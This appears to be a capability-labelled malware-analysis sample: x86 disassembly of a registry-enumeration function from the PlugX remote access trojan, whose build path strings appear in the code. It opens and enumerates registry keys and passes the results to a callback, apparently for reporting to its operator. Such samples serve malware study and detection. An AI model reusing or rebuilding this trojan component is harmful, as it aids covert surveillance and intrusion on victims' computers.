Function at 0x10014b60
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
mov esi, ecx
push eax
push 0x20019
push 0
lea ebx, [edi + 0x10]
mov dword [ebp - 0x14], esi
push ebx
push dword [edi + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10014bc5
mov dword [edi], 0x20120123
mov dword [edi + 4], 0x9000
mov dword [edi + 0xc], eax
mov dword [edi + 8], 0
call fcn.100147c0
push 0x7530
push edi
push esi
mov eax, dword [eax + 0x38]
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor ecx, ecx
mov eax, dword [0x1003102c]
mov esi, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], 0xdffa
test eax, eax
jne 0x10014c0a
mov eax, dword [0x10030f8c]
test eax, eax
jne 0x10014bf6
push str.shlwapi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10030f8c], eax
push str.SHEnumKeyExW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [0x1003102c], eax
lea edx, [ebp - 0x10]
push edx
lea edx, [ebx + 4]
push edx
push ecx
push esi
call eax
mov esi, eax
test esi, esi
je 0x10014c40
cmp esi, 0xea
jne 0x10014d10
push 0
lea edx, [eax - 0x60]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugRegedit.cpp
call fcn.10024152
mov ecx, dword [ebp - 0xc]
add esp, 4
inc ecx
jmp 0x10014bc7
lea eax, [ebp - 8]
mov dword [ebp - 0x18], 0x100
push eax
push 0x20019
push 0
lea eax, [ebx + 4]
mov dword [ebp - 8], 0
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10014cc7
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x218]
push eax
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov esi, eax
test esi, esi
je 0x10014c9c
cmp esi, 0x103
jne 0x10014ca2
mov dword [ebx], 0
xor esi, esi
jmp 0x10014ca2
mov dword [ebx], 1
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x10014cc3
push 0
mov edx, 0x2ae
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugRegedit.cpp
call fcn.10024152
add esp, 4
test esi, esi
je 0x10014ccd
mov dword [ebx], 0
mov eax, dword [ebp - 0x10]
mov dword [edi], 0x20120123
mov dword [edi + 4], 0x9000
mov dword [edi + 0xc], 0
lea eax, [eax*2 + 6]
mov dword [edi + 8], eax
call fcn.100147c0
push 0x7530
push edi
push dword [ebp - 0x14]
mov eax, dword [eax + 0x38]
call eax
mov esi, eax
test esi, esi
jne 0x10014d6d
mov ecx, dword [ebp - 0xc]
inc ecx
jmp 0x10014bc7
push dword [ebp - 4]
xor eax, eax
cmp esi, 0x103
cmove esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x10014d3c
push 0
mov edx, 0xad
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugRegedit.cpp
call fcn.10024152
add esp, 4
mov dword [edi], 0x20120123
mov dword [edi + 4], 0x9000
mov dword [edi + 0xc], esi
mov dword [edi + 8], 0
call fcn.100147c0
push 0x7530
push edi
push dword [ebp - 0x14]
mov eax, dword [eax + 0x38]
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x10014d8e
push 0
mov edx, 0xa3
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugRegedit.cpp
call fcn.10024152
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret